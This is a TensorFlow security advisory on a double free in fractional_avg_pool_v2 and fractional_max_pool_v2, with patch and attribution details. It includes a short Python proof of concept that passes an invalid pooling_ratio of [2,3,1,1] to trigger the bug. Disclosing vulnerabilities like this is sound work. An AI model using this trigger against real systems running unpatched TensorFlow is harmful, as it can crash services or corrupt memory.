TensorFlow has double free in Fractional(Max/Avg)Pool

Impact

nn_ops.fractional_avg_pool_v2 and nn_ops.fractional_max_pool_v2 require the first and fourth elements of their parameter pooling_ratio to be equal to 1.0, as pooling on batch and channel dimensions is not supported.

```python

import tensorflow as tf

import os

import numpy as np

from tensorflow.python.ops import nn_ops

try:

arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64)

arg_0 = tf.identity(arg_0_tensor)

arg_1_0 = 2

arg_1_1 = 3

arg_1_2 = 1

arg_1_3 = 1

arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,]

arg_2 = True

arg_3 = True

seed = 341261001

out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,)

except Exception as e:

print("Error:"+str(e))

`

Patches

We have patched the issue in GitHub commit [ee50d1e00f81f62a4517453f721c634bbb478307](https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability was reported by [dmc1778](https://github.com/dmc1778), of [nimashiri2012@gmail.com](mailto:nimashiri2012@gmail.com).